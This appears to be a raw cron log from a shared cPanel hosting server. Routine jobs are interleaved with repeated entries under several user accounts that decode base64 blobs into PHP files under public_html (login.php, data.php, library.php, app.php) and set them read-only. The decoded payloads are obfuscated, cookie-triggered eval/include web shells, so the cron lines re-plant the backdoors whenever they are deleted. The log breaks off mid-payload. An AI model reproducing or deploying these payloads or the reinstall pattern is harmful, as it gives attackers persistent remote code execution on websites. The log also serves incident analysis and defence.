Mar  2 08:45:02 medusa CROND[25240]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:46:01 medusa CROND[5756]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:46:01 medusa CROND[5759]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:46:01 medusa CROND[5760]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 08:46:01 medusa CROND[5762]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:46:01 medusa CROND[5764]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:46:01 medusa CROND[5765]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:46:01 medusa CROND[5761]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 08:46:01 medusa CROND[5770]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:46:01 medusa CROND[5771]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:46:01 medusa CROND[5773]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:46:01 medusa CROND[5776]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:46:01 medusa CROND[5777]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:46:01 medusa CROND[5781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:46:01 medusa CROND[5792]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 08:46:01 medusa CROND[5789]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 08:47:02 medusa CROND[25605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:47:02 medusa CROND[25606]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 08:47:02 medusa CROND[25607]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:47:02 medusa CROND[25608]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:47:02 medusa CROND[25609]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:47:02 medusa CROND[25612]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:47:02 medusa CROND[25614]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  2 08:47:02 medusa CROND[25616]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:47:02 medusa CROND[25627]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:47:02 medusa CROND[25628]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:47:02 medusa CROND[25629]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:47:02 medusa CROND[25634]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:47:02 medusa CROND[25635]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:48:02 medusa CROND[15850]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgIC